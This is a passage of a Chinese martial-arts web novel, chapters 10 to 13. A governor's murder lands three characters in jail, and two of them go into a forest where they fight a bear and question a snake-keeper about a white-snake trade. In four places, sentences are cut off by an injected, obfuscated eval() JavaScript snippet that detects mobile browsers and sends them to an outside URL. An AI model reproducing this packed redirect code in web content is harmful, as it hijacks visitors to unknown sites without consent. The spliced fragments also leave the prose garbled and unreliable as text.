“行了,信给我,我去帮你钉到太守老儿床头,保他一醒来就能看见。”朴七说,“你把这事详细和我讲讲,我去帮那小姑娘解决。” “……真的?”程奚半信半疑,“你不是侍卫,为何会夜里出现在太守府中?” 朴七在自己乱七八糟的腰兜里翻了翻,掏出一只手指长的山参给他看:“喏,这是那什么……千年山参,我就奔它来的。” 好吧,原来这人也是个贼。 不过看样子应该是个讲义气的贼,程奚决定暂时信她,于是跟着朴七翻窗出屋,朝太守的卧房走去,路上与她细说了缇萦之事。 缇萦的母亲意娘本是松原县一位远近闻名的神医,她的丈夫早年被官府征兵,死在了沙场上,自此她便立誓不为达官显贵出诊。 一个月前,县令听闻的神医之名,私下邀她来诊治自己的不育之症,意娘自然是拒绝,可不知这消息缘何走漏出去,还传得沸沸扬扬,一时松原县无人不知自己县令原来有此等隐疾。 县令羞愤欲绝,又堵不住悠悠众口,只能将一腔怒火撒在意娘身上。他罗织罪名,诬陷意娘曾经胡乱用药治死病人,将人捉拿入狱,判了个最为耻辱的劓刑。 “松原县真是养了一窝畜生!”朴七震怒,狠狠一捶墙,“等着,老娘一会儿就去把他那名存实亡的玩意儿割了挂到墙头风干,再让他自己吃下去!” 程奚听着都疼,但还是龇牙咧嘴地附和:“割得好!就这么办!” 二人在太守卧房门外站定,程奚下意识想走窗,还没伸手,朴七已经带着火气重重踹开了门。 “小声点啊!”程奚抓狂道,“我们是贼,不是土匪!” “怕什么。”朴七说着,大摇大摆走进屋去,“就算太守老儿醒着,看见老娘他也得装死——” 程奚听到她的声音戛然而止。 “怎么了?”他这个角度看不清屋内状况,只能低声问。 “……啊哦。”朴七有些尴尬的声音传出来,“他好像不是装死,是真死了。” 10.第 10 章 “太守死了?!” 李青筠跳下床,在地上转了三圈,还是想不明白这回事。 “朴七杀太守老儿作甚?” 她更想不明白的是:“她怎么会被抓?” 就算人真是朴七杀的,跑了不就完事了?区区一个太守府能有多少侍卫,那家伙可是丐帮的人,滑溜得像只老鼠,就算是李青筠有时候都逮她不住。 “我不知道。”华逢春说,“被抓走的次日一早,她将山参送回客栈,说要去一趟松原县,再回去蹲大牢。” 李青筠没好气道:“她有病啊?既然能从牢里跑出来,还回去干什么?” “也许,”华逢春环视一周破烂不堪的客房,发自内心地说,“牢里住得舒服些,还无需花钱。” “……”李青筠扶额,“对了,她说要去松原县。松原县又怎么了?” 华逢春摇头:“我近日没有出门,没听说过。” “我早该知道,问你也是白问。”李青筠摸了摸饥肠辘辘的肚子,一边披外衫一边道,“饿了,我出门吃点东西,顺道探个监。” 她头也不回地摆了摆手,脚尖踢开吱呀惨叫的破门扬长而去。 这客栈房子破,位置也偏,从外面看活脱脱一家卖人肉包子的黑心客栈。李青筠走了几里地,才总算找到一家面馆,要了碗汤面,翘着腿边吸溜边问:“老板,最近松原县怎么了?” 老板搓着手上的面粉疙瘩,漫不经心地说:“也没什么大事,就是县令被阉了。” “……?” 李青筠看了眼碗里的面,觉得有点倒胃口,但想起自己付的两枚铜板,还是挑起一筷子继续吃:“您跟我讲讲具体怎么回事呗。” “约莫一个月前吧,那县令私底下找大夫治病,结果不知道怎么就走漏了风声,全松原县上下都知道了这事,连我们这些附近的县都有耳闻。听说为了这事,松原县令还把那大夫抓起来了。” “好端端抓人家大夫作甚?”李青筠蹙眉,“后来呢?没人管管那狗官?” “几日前啊,也不知是哪位大侠替天行道,把那狗官给阉了。大夫还在牢里关着,本该是今日受刑,但县令出了意外,一时也顾不上管她了。”老板感慨道,“都是报应。人在做,天在看啊!” 行吧,她应该知道是谁在替天行道了。 这朴七下手真黑,也不嫌恶心,还不如直接把人杀了干净。 李青筠吃完面,向老板打听了郡衙所在,便抹了嘴起身,打算前去探监。 此时已近晌午,太阳毒辣,她在大街小巷里穿行着只觉又闷又热,不由内心痛骂朴七没事找事。 郡衙门口一左一右守着两个衙役,正缩在屋檐下躲清凉,远远见有人走来,其中一个拿刀起身,高声问:“喂,干什么的?” “探监。”李青筠说,“听说最近太守死了,犯人关在哪儿,劳驾带我去看看。” “嘿,你还使唤上我了!” 衙役上下打量一番,见此人衣着随意,还趿拉着鞋子,竟然还有胆到郡衙门口,简直是不把官家威严放在眼里! “郡衙重犯岂是你想见就能见的!”他呵斥道,“更何况现下那两个犯人正在堂上受审呢!” “犯人有两个?”李青筠半点没脸红,好奇地追问,“除了一个叫花子似的女人,还有谁?” 难不成朴七还找了帮手? 衙役见此人死皮赖脸,没好气道:“一个男的,年纪不大。——你问这么多干啥?去去去!” 大概是天太热,空气如同一锅熬得正沸的胶,粘稠得惹人心烦。李青筠也钻到衙役身旁的阴凉下,用手扇着风,“我就是好奇呗。你说这人为什么要杀太守老儿……呃,太守老爷?” “我又不是犯人,我怎么知道?”衙役说。 “是不是你们太守老爷平时做了什么亏心事?结果半夜让鬼敲门了?” 衙役说:“我又不是太守,我怎么知道?” “……”李青筠怒极反笑,“郡里死了父母官,可是我看你们好像都不伤心啊。” “又不是死了父母,伤心什么?” 好吧。 三棍子打不出个屁来,李青筠身上伤口还在隐隐作痛,她也懒得费劲了。不管人是不是朴七杀的,左右这郡衙也关不住她,总不至于真让砍了脑袋。 她转身要走,最后又随口问道:“太守死了,里面是谁在审案?” “说出来吓死你!”衙役冷哼,“审理此案的,可是京都派来的金翎卫大人!” 衙役也已经让她问得烦不胜烦,想搬出“金翎卫”的名号故意将人吓走。 毕竟金翎卫可是皇上亲信,但凡出场必是大事。皇上听闻一郡太守、朝廷命官,居然惨死家中,当即震怒,特派金翎卫前来审理,务必要将凶手捉拿归案,以儆效尤。 衙役没想到李青筠居然脚步一顿,像是来了兴趣。 “堂上坐着的,是金翎卫?” “正是。”衙役说,“有金翎卫的大人在,那两个贼人必不敢抵赖!你若与犯人相识,我劝你还是躲得越远越好,以免被一同捉了去。” “好威风的金翎卫!” 李青筠觉得好笑,将双手伸到衙役面前。 “你这是作甚?” “投案自首啊。”李青筠一脸理所当然的表情,“太守是我杀的。还不抓?” —— “师姐,那个人在做什么啊?” 程灵说:“她声称自己才是凶手,要衙役将她捉起来一并审理。” “凶手自首了?”万俟玉心里一喜,“那师兄岂不就清白了!” 程灵摇了摇头,觉得事情没那么简单,却也不解那女子什么用意,只能继续观察。 只见衙役压根不理会她,打发叫花子似的挥手道“滚滚滚”。女子大怒,一把夺过衙役的佩刀,不由分说用刀鞘将人打了一顿,这才终于如愿以偿被抓了起来。 “……” 程灵回身,对万俟玉道:“罢了,还是按照原计划。你去太守府上再探一探消息,我在郡衙守着,若情况不妙,直接劫狱。” 万俟玉人小鬼大,与人攀谈打听消息这方面随了她师兄,比程灵在行得多。她点点头,身负重任朝太守府而去。程灵则绕至后院,自墙头攀上公堂顶,俯身倾听里面的动静。 “啪”地一声,惊堂木响。 随即,她听见一个男子问:“你二人可知罪?” 审案之人听上去年纪不老,声音温和,丝毫没有一点为官之人该有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351844|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威严。 一个低沉的女声答道:“呦,大人倒是说说,我犯了什么罪?” 她语调轻佻,还有几分不屑,像是冷笑着将话说出口的。 紧接着,程灵听到她哥大声哀嚎:“大人,我真没杀人啊!我说我是路过你信吗?” “若你们不是凶手,夜里潜入太守府又是所为何事?” “偷个药材而已。”女人说,“大人,您应该知道,我们这些市井老鼠向来就爱小偷小摸。” 那大人问:“为何要偷窃?” “为了救命呗。”女人笑道,“有人将人家杀了,自己转身就跑,可苦了我们这些小碎催,还得拼死拼活救人。” “……那人,”大人的声音忽然有些艰涩,“救回来了吗?” “死透了,尸首扔到山里,估计都让野狗啃干净了。” 大人沉默半晌,转而问道:“那你呢?” 程奚顿了顿,大概是不想把缇萦牵扯进来,便胡乱找了个借口:“我,我只是路过,眼睛不好使,一不小心就跑到太守家里了。” 程灵听着,有些想扶额。她叹了口气,将刀从腰侧拔出,攥在手中,随时准备撞破屋顶冲进去将她哥劫走。 堂上的大人八成也为他的理由感觉无语,索性不再追问,“既然如此,二位有没有见到真凶?或是发现什么异样?” 程奚连忙解释:“没有啊大人,我们一推开门就看见太守死在床上——” 他的话忽然被一声高喊打断。 “救命啊!衙役打人了!” 一个女人快步跑上前来,“扑通”一声坐在堂下,哭道:“大人,这衙役非要说我是真凶,不由分说就把我绑来……” 她就是方才郡衙门外那个莫名其妙的人,不知为何此时又倒打一耙。押送她的衙役气急败坏:“明明是你自称凶手!还把我打了一顿!!” “我又没杀人,为何要自称凶手。”女子幽幽道,“我看是你们找不到凶手,打算找个替罪羊来给金翎卫的大人交差吧。” 金翎卫与衙役都没说话,反倒是那个声音低沉的女人大声骂道:“冤家,你来干什么?” 女子正义凛然:“我当然是来为你二人申冤!” “想申冤你就去搞清楚太守是谁杀的,把自己送衙门里算怎么回事?!”她继续大骂,“难不成你还指望那个姓华的救咱们出去!” “她估计巴不得咱俩被关牢里,永远也别放出来。” 程奚插嘴:“关不了几日吧?咱们应该很快就要被斩首了。” “斩首?想得美。”女子说,“民弑官是以下犯上的大罪,少说判个腰斩,再夷咱们三族。” “嘿,幸亏我全家都死光了。” 程奚有点紧张:“完了完了,我还有个妹妹呢。” “放宽心啦,到时候我叫人保护你妹。” “那倒不用,哈哈,我妹妹她很能打的。” 公堂之内已经乱成一团,不知为何那个金翎卫也不出声制止,就任由三人嘻嘻哈哈胡乱聊了起来。 “很能打的妹妹”听不下去了,啧了一声收刀入鞘,转身几个轻跃离开郡衙,朝太守府而去。 与其听这几人胡扯,还不如去府里查一查有什么蛛丝马迹。 11.第 11 章 太守之死一时无法定论,衙役只得先把三人带下去关回牢里。 “没想到这辈子还有做狱友的机会。”李青筠趴在铁门上,只能探出半条胳膊,朝隔壁挥了挥,“人呢?来说说,你们俩是怎么回事?” 朴七与程奚分别被关在她一左一右两间牢房。朴七说:“都怪你。要不是为了帮你偷那破人参,我哪里会碰上这事!” “你见了死人不知道跑?傻愣愣站在那儿等人抓啊?” “我要是一个人早就跑了!”朴七大怒,“可这不是还有个小贼在场吗。我跑了他怎么办?留着等死?” 以她朴七的身手,悄无声息地跑路必然没什么问题,可程奚就不太行了。彼时太守府里的侍卫已经听到动静围了上来,若朴七扔下他自己逃走,程奚没人庇护,恐怕会被审个半死,乃至屈打成招。 “原来如此!”程奚感动得泪流满面,“多谢姐姐把我的小命放在心上!” 李青筠抱了个拳,赞叹道:“朴帮主大义!” 朴七被二人一唱一和夸得心花怒放:“不必多言,我们丐帮就是这么义气!” “姐姐,你是……丐帮的朴帮主?”程奚仔细回忆了一下,“我好像在盟会上见过你。” “哦,你也是武林人?”朴七说,“看来我们还颇有缘分。” 程奚看向旁边牢房伸出来的半条胳膊:“那这位是……” “我?”李青筠说,“我嘛,孤魂野鬼一个,算不上武林人。你叫我李青筠就好。” “李、李青筠?!”程奚一愣。 她笑道:“怎么?那竹影断虹人都死了,这三个字我却不能用?” “能……能吧……?” 程奚抓了抓脑袋,心里直犯嘀咕。 方才在公堂上,他看到了这个自称“李青筠”之人的样貌。她就是一个普通的女子,衣着落拓,看上去还病歪歪的,实在不像那个潇洒不羁的竹影断虹。 更何况李青筠是在众目睽睽之下被杀,谯城华氏的神医都无力回天。后来月下飞天镜将她的遗体火葬,早就化成了一抔灰土,又怎么可能好端端出现在这里? 姑且当作巧合重名吧,程奚还是愿意把所有事情都往简单处想。于是他将缇萦救母之事又与李青筠如此这般讲了一番,李青筠恍然大悟:“朴七,你去松原县原来是为这事。” “我让那狗官把人放了,然后安排帮里的姐妹护送母女俩离开松原县,另找个好去处。”朴七说,“小伙子你放心,我们丐帮的人遍布九州四十六郡,无论何处定能保她们安全。” 程奚连声道谢:“多谢朴帮主,朴帮主大义!” “要不是着急回来坐牢,我还打算再收拾几个狗官。这事还没完,等我出去——” “哎行了,牛皮吹破天了。”李青筠打断她的话,“你先跟我说实话,那太守到底是不是你杀的?” 朴七啧了一声:“你又不是不知道我的作风。无冤无仇,我杀他干啥?” “朴帮主说的是真的。我在书房遇到了朴帮主,然后一同去太守卧房,刚一推开门,就见太守死在床上,胸口插着一把匕首。随后,我听见门外‘啪’一声,一只花瓶碎在地上,那些侍卫就全部被引过来了。” 朴七点头:“的确如此。摔碎花瓶的人恐怕就是真凶,故意在逃跑时将侍卫引来,好把罪名赖到我俩身上。” “还好我早早晕过去,不然倒霉的就是我了。”李青筠幸灾乐祸地感叹。 朴七隔空朝她竖了根鄙视的小拇指,继续说正事:“对了,我当时趁乱把那只匕首拔出来,然后藏在了卧房的门框上。你一会儿去找出来,看看有没有什么线索——” 话音未落,一把匕首被递到了她面前。 “是这把吗?” “……啊?”朴七低头看了眼匕首,又抬头看看铁门外忽然出现的少年,一时脑袋还没转过弯来。 倒是程奚听出了少年的声音,又惊又喜:“程灵,你怎么进来了!” “我打晕了守卫。”程灵说,“我在太守府中搜寻,找到了这把沾血的匕首,还有一本藏在床底暗格的账册。” 朴七回过神来,伸手拿起匕首打量了一番:“就是它。当时我只远远看了一眼,见这刀柄花纹奇特,好像在何处见过。我想想……” “让她慢慢琢磨去,来,账本给我看看。”李青筠朝程灵打了个响指,“不错嘛小姑娘,还知道先去府里找线索。” 那本账册程灵已经看过,大致是一些买卖记录,其中出现最频繁的就是“白蛇”。太守每逢初一就会向某些买家出售一批白蛇,数量在十到三十不等,而一条白蛇的均价竟值一两银子! 要知道,一个寻常人家一年到头的开销也不过几两银。太守暗中卖给旁人的白蛇,定是平日从百姓手中敛来。就算他抽走九成利,剩下留给百姓的银钱也相当可观。 “这算什么?”李青筠把账本翻来覆去也没看明白,“难不成这太守老儿真是个父母官,私底下为百姓谋利?” 但是白蛇不就是条颜色稀有些的蛇吗?那买家要这么多作甚?演《白蛇传》? “喂,朴七,想不起来就算了。” 李青筠喊了一声,把账本往旁边牢房递,“看看这账本,你听没听说过买卖白蛇的生意?” 二人之间还隔着一段距离,程灵帮她送过去。朴七哗啦啦翻了几页,扔还给程灵:“看不懂。——买卖白蛇?要那玩意干啥,炖汤?” 程奚举手:“两位,我倒是有个猜测。听闻民间历来有进献奇珍异兽的传统,常有人在山中发现什么白鹿白熊,便认为是天降祥瑞,进献给皇帝以求赏赐。你们说这白蛇会不会也是祥瑞?” “这么说也有几分道理。”李青筠撑着下巴思忖,“不过白蛇价贵,方圆百里的蛇怕是都要被捕空。太守老儿又在何处寻得如此稳定的供给,能够每月卖出十多条?” 朴七虽然没什么文化,但混迹市井见得多了,也懂几分商道:“有人乐意买,就一定有人卖。山里的白蛇抓完了,那就自己悄悄养,总归是一条财路。” “那这账本和太守之死又有什么关系?”程奚问,“太守与人合作,结果分赃不均?” “去查一查不就知道了。”朴七在自己的腰兜里又是一阵翻找,两指拈出一块铁牌,“喏,我的帮主令。松原县外松山林里有个喜好养蛇的婆婆,你们谁去找她。” “我去我去!”李青筠倒是很积极,八成是在牢里关得烦闷,想出去走走。 程灵说:“好,我与你同往。” 李青筠不知被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355449|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪两个字触动,神色忽然一怔,旋即看着她笑:“你就是那个‘很能打的妹妹’对不对?我身残体弱,还请少侠保护一二。” 程灵点头,正要拔刀砍开牢房的铁锁链,却见李青筠伸手出来,在那食指粗的铁链上轻描淡写地一捏,就像是捏馒头似的,“哗啦”一声,铁链竟直接从中断开,砸落在地。 “咳咳,走吧。” 李青筠咳了两声,西子捧心似的推门而出,半倚在程灵身上,这作态把朴七恶心得直翻白眼。 程灵虽然不知道一个能徒手捏断铁链的人有什么好扶的,但既然对方都靠上来了,她便也就从善如流将人半揽着肩。 她在此人身上感觉不到半点内力的痕迹,也正是如此,说明对方的内力已经浑厚到近乎恐怖的程度。但手底下的肩的确称得上形销骨立,将她的手心硌得隐隐作痛。 程灵带着一个拖后腿的累赘,因此脚程大大放缓,原本日落之前就能抵达的松山林,硬是拖到了子时才到林外。 幽州地势极北,白日热,夜里却是彻骨寒凉。程灵见李青筠只披了件薄衫,就将自己的外袍解下来,默不作声地递给她。 李青筠有些意外,倒也不客气,伸手接过裹在身上。 松山林中植被茂盛,阴冷更甚一筹,根本不像人能居住的地方。而且越往山顶走,草木越发丰茂,古松参天,最后甚至到了遮天蔽日的程度。 丛林之中盘根错杂的枝叶在此时如同鬼影,程灵走在前面,一刻也没有停下脚步。朴七并未明说那养蛇人具体住在何处,松山林又大了去,她只能一边仔细听林中的动静,一边观察四周是否有人生活的痕迹。 可是山林中除了虫鸣,便只剩下死一般的寂静。身后的李青筠脚步很轻,有时程灵甚至怀疑她在不在自己身后,然而每次一回头,就能见李青筠没事人似的朝她一笑。 “走就是了,不必担心。”李青筠说。 程灵回过头,忽然,在一片漆黑的树影中,她隐约看到前方远远有道站立的人影。那人影高大魁梧,看上去足有八尺。 程灵试探地问:“您可是养蛇人?” 那人影动了动,似乎将头转向了程灵这边,朝她挥了挥手。 程灵松了一口气,正想上前,却被身后一只手搭住了肩。 “慢着。”李青筠说,“气息不对。” 面前的路被一道三人合抱粗的断木拦住,李青筠让程灵蹲在断木后藏身,自己则清了清嗓子,朗声道:“阁下是人是鬼,不如报个名号?” 奇怪的是,远处那道人影只是时不时对她挥几下手作回应,却一步不曾挪动,一句话也未说过。 李青筠屏息,只静静站在原地,看着远处的人影。 林间霎时一片死寂,静得程灵能听到自己的心脏在胸腔跳动得越来越快、越来越快。 那人再没有听到二人的动静,终于有了挥手之外的动作,试探性地朝她们所在的位置迈出几步,很快又摸不清方向,在原地转了两个圈,重重地喷出一口气。 下一刻,像是站得有些累,那人一矮身,两手着地,伏在了地面上。 夜空中的云层散开,月光重新从林隙间漏下来,恰好照在那人身上,也让她们看清了它的真面目—— 那是一头黑熊。 12.第 12 章 程灵在天姥山中长大,从小就听山民传说,有的熊会两腿站立起来,模仿人的模样朝路过的人挥手。若是视线不好,极有可能将熊错认成人,待到走上前去,下场往往万分恐怖。 她还是第一次亲眼见这样的场景,当即头皮发麻,气息不由一乱。意识到这一点,程灵正要去捂住自己的口鼻,却有人比她更快一步,伸手掩住了她下半张脸。 她本就浑身紧绷,顾不上思量是谁,下意识便张口咬在那只手上。身后的李青筠“嘶”地倒吸一口凉气,很识时务地飞快撤了手。 程灵听出李青筠的声音,这才回过神来,对她露出抱歉的神色。 李青筠看了眼手上的牙印,觉得有些好笑,在唇前竖起一指,示意她噤声。 那头黑熊还在原地,它视力不佳,主要是靠听觉和气味辨认方向。很快,程灵就听到熊掌踩在枯枝落叶上的细微脆响。 它……朝这边来了。 大概不清楚对手的力量,那头黑熊也小心翼翼,慢慢地靠近断木。程灵甚至能听到它粗重的呼吸声,她下意识攥紧挂在腰间的刀柄,担心拔刀声惊动黑熊,也只能僵在原地不动。 李青筠拍她的肩,指了指刀,又指自己,最后再指向侧面的一片荆棘丛。见程灵愣了一下,然后点头,以为她看懂了自己的意思。李青筠正要拿过刀绕去侧面偷袭,谁料手却落了个空。 她错愕地低头去看,只见程灵手里握着刀柄,一个翻滚便隐入了荆棘丛中。 整个过程不出一息之间,快得甚至连李青筠都没反应过来发生了什么,那边程灵已经绕到了黑熊的后侧。 少年身量轻,跟只猫似的,几乎一点动静都没发出来。她举起刀,对准了黑熊的后心,静静地蛰伏,握刀的手稳之又稳,没有一丁点颤抖。 无论做什么事,程灵向来习惯于先发制人。 熊想杀她,那她就先杀了熊。 在这样的危急时刻,程灵的心跳竟越来越平缓,她闭上双眼,一遍一遍回忆着师傅曾经的教导。 拔刀要足够快,一击即中。 黑熊的皮毛厚重,刀刃难破,须刀尖向下全力刺入。 瞬息之间,程灵做好了打算。现在只需要等一个时机——一个黑熊站立起身,将后背完全展露给她的时机。 忽然,她听见了一声树枝被踩断的脆响。 不是那头黑熊发出的动静,声音来自于断木之后。黑熊显然也捕捉到了这一声不小的声响,立起身来以作威慑,抬腿便朝前扑去。 好机会! 程灵铮然拔刀出鞘,如离弦之箭般跃出藏身的草丛,双手反握着刀,用尽全身力气将刀身捅入黑熊的后心。 突然,意外陡生! 刀身仅仅没入三分之一,竟从中间“咔”一声断了! 程灵反应很快,当即抬脚踹在那没完全没入的半截刀上,将其全部捅入黑熊体内,顺势借力向侧面打了个滚连退几步。 黑熊的怒吼响彻整片山林,几乎震破她的耳膜。程灵还没来得及站稳,面前一阵罡风已至! 眼看下一秒就要被一掌击中,估计脑袋都会被直接拍飞出去,她还是没有一丝恐惧,甚至攥紧了刀,思索用这剩下的半截刀刃斩断熊掌的可能。 然而预想中的疼痛并没有如约而至,有什么东西先它一步破空而来,猛地穿透黑熊的身躯。它距离在程灵两步远的地方轰然倒地,连最后一声哀嚎都没来得及发出。 一切都发生在电光石火之间,程灵立在原地,愣愣地回头看向最后杀死黑熊的东西。 那是一根手指粗的松枝。 松枝从后至前,将黑熊穿心而过,甚至仍然去势不减,重重钉在了程灵身后的一棵树干上。 她伸手去拔那根松枝,发现它竟然已是入木三分,可想而知其中被灌注了多大的力量! 下一刻,她的后脑勺忽然挨了一掌。 当然不是黑熊把人往死里拍的力道,但是也不轻,程灵不喜旁人触碰她的头,蹙眉道:“不要——” “死孩子,谁叫你乱跑?”李青筠斥道。 “我不是——” 李青筠又打断她:“不是什么不是,让你躲好你不听!你这什么破刀,一碰就断!” 她不说程灵还想不起来自己痛失爱刀。她弯腰捡起残存的半截,轻轻抚过凹凸不平的裂痕,低声道:“师傅说,刀在人在……” 李青筠顺嘴接了一句:“刀亡人亡?” “不。”程灵摇头,“刀断了,就换一把。” 李青筠一怔,忽然想知道,若当年也有人对她说这样的话,她是不是就不会负气折断“同往”,以至于如今两手空空。 半晌,她才苦笑一声:“你这位师傅真是……豁达。” 月光如水,在松涛林海间缓缓流淌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362563|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程灵看清了李青筠的脸,她的面色分明有些发青,唇色也是惨白。 “你身体不适?”程灵问。 李青筠捂着心口咳了一声,苦笑道:“被你看出来了。” 方才她随手折了一根松枝杀那黑熊,耗费内力过多,心口未完全愈合的伤大概又被震裂了,此刻正以一阵一阵不停歇的剧痛作抗议。 “我背你。”程灵低声说罢,半蹲下身。 “萍水相逢,为何对我如此殷勤?”李青筠说着,却还是不客气地伏在了程灵背上,“我身无长物,可没什么能回报你的。” 程灵将她稳稳背起来,迈步继续向前,不知过了多久,她低声说: “我学过你的剑,这就够了。” —— 功夫不负有心人,一番搜寻过后,程灵终于在树梢间找到了几片蛇蜕。顺着这个方向再向前一炷香时间,拨开丛生的杂草,一座松木搭建的小屋赫然在目。 屋外很是杂乱,除了一张桌椅,其余满地都是枯枝落叶,高度几乎能没过半截小腿。 “那些落叶之下是蛇的巢穴。”李青筠说,“再往前,蛇会被惊动。” 程灵站在原地不动,问:“我们如何过去?” 李青筠从她背上跳下来,转身往回走:“我们等那养蛇人自己过来。” 她在附近找了个背风靠树的好地方,席地坐下,拍了拍身旁空位:“来。” 程灵摇头,站在她身侧,一边环顾四周一边说:“我守夜。” 不料李青筠一把将她拽了下来,笑道:“守什么守,这里既然有这么多蛇,定不会有别的猛兽。你安心睡觉,一觉醒来就能见到养蛇人了。” “万一错过……” “哪有那么多万一?”李青筠道,“你小小年纪想那么多作甚。几夜没睡了?看这黑眼圈活像食铁兽似的。” 程灵担心她那个不靠谱的师兄,已经连续奔波了好几日没合眼。她的神经就像一根被绷紧的弦,原本还不觉得疲倦,但是听了李青筠的话,那根弦似乎微微松了一些,紧接着,一阵困意涌来,她不由闭了闭眼,顺着李青筠的力道坐下,倚在对方身边。 “睡吧,”李青筠说,“小孩子不睡觉,个子容易长不高。” 程灵想说自己已经不是小孩子了,但困意铺天盖地、兜头而下,几个呼吸之间就将她笼罩。 很快,她睡着了。 13.第 13 章 李青筠将身上的外衣脱下,盖回她身上,又支起腿撑着下巴,看向头顶被枝叶分割得支离破碎的夜空。 不知过了多久,她站起身来,回头看了程灵一眼。见她依然熟睡,李青筠足尖在地面上轻轻一点,跃起丈余高度,踩着松枝悄无声息地离开。几个起落后,她落在了养蛇人的屋顶之上。 “人呢?别睡了。”李青筠说。 没人应她。她等了几息,抬脚在屋顶上重重一踩。木头立马发出不堪重负的嘎吱声,连地上的蛇群都被惊动,缓缓爬行起来,枯叶堆沙沙作响。 终于,木门被人拉开。一个头发花白、慈眉善目的老妇人拄着拐杖,颤颤巍巍地走到屋檐下,忽然双手合十连声求起了饶。 “老婆子我今年八十九,没女没儿还瞎了眼,身上一个子儿也没有,只能躲在山上等死,劳驾大侠放过我这条老命!” 她声泪俱下,一双浑浊的眼挤出两滴老泪,眼看就要一弯膝盖跪下。李青筠却不为所动,看戏一样饶有兴致地看着老妇人求饶,身后忽然又一阵微小的气流波动,她就头也不回地一伸手,猛地捏住了一条蛇的七寸。 李青筠将蛇拿到眼前看了看,“好毒的蛇。老东西,你心真黑。” 见自己的伪装被识破,老妇人索性也不再表演。她一把抹了脸上的鼻涕眼泪,语气平静得与方才判若两人。 “阁下哪位?深夜贸然来访,实在不像正道作派。” “我是哪位,你听不出来?”李青筠说着,抬手将蛇扔向老妇人。 那条蛇受了惊,唰地贴到老妇人脚边,又顺着她的腿盘旋而上,蜷成一团缩在她怀里。老妇人在蛇脑袋上安抚地摸了摸,侧耳朝向李青筠,仔细分辨她的声音。 忽然,她似乎听出了什么,眉头一皱。 “你是……李青筠?!你不是死了吗!” “耳朵不赖嘛,蛇婆。”李青筠笑道,“比你那双眼睛好使。” 蛇婆神情陡然阴鸷下来,恶声质问:“我这双眼睛当年不就是被你弄瞎的吗?!李青筠,你居然还敢在我面前耀武扬威!” 李青筠一摊手:“你别光记仇啊。怎么不说说,我为什么要弄瞎你的眼睛?” “因为……因为我修炼瞳术……然后……” 蛇婆回忆起往事,浑身不由颤抖起来。她此生看到的最后一幕,就是一截竹枝刺向她的眼珠,对方下手又快又稳,所以并不算疼,她眼前先是一片血红,随即就陷入了永久的黑暗。 多少次午夜梦回,她都被这一幕惊醒过来。不久前听到李青筠已死的消息,她还以为自己的噩梦终于要结束了。可万万没想到,噩梦自己找上了门。 “瞳术只是、只是能让人短暂地失去神智……我曾经是用瞳术害过人,但最后一次,我是在救人……对,我在救人!我在救整个武林、整个天下!” “我记得,在动手之前我问过你,舍一人而救天下,到底是在杀人,还是在救人?你的答案是‘救人’。”李青筠从屋顶跃下,脚下的蛇群一阵窸窸窣窣,纷纷避开她,“十年过去了,你的答案还是没有变吗?” “当然是救人。再过百年、千年,老婆子我也只有这一个答案!”蛇婆恨恨地将脸扭向她,“李青筠,为了当年的事我已经瞎了一双眼睛,你为何还不肯放过我——” 李青筠打断她的话:“我早就放过你了。” 她将朴七的帮主令放到蛇婆手中,开门见山道:“今日我来另有要事。听说你目盲之后无处可去,是朴帮主收留了你,如今她落难,也该你出手相助了。” “朴帮主才是真正的侠义之人,侠义之人不该落难。” 蛇婆将令牌在掌间摩挲一阵,吐出一口浊气,暂时放下与李青筠的恩怨,问道:“需要我做什么,你说就是。” “方圆百里的山上,你可见过白蛇?” 蛇婆想了想:“白蛇少见。我这里也只有三条。” 说罢,她打了三个音调奇异的呼哨,很快三条雪白的蛇从屋里钻了出来,乖顺地缠绕在她脖颈之上。 李青筠想要伸手去摸,蛇婆一侧身躲开:“别碰,蛇很胆小。” “哦。”她悻悻缩回手,“若是寻常人家,能否自行繁育这些白蛇?” 谁知蛇婆斩钉截铁地说:“不可能。” “为何?” “你没养过蛇,自然不懂。”蛇婆从脖颈上拿下一条白蛇,摆弄绳子似的将它翻过身来肚子朝上,捋直尾巴,“白蛇并非天生就是通体雪白,只有少数的蛇会在多次蜕皮后颜色越来越淡,直到所有花纹褪去。而会发生这种变化的,往往都是雄蛇。” “雄蛇?”李青筠忽然想起一件事,“那《白蛇传》岂不是……” 蛇婆说:“杜撰的故事而已。” 说回正事。李青筠又问:“近些年你有没有听说过一桩交易白蛇的买卖?卖家是此地太守,买家暂且不知。” “买卖白蛇?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 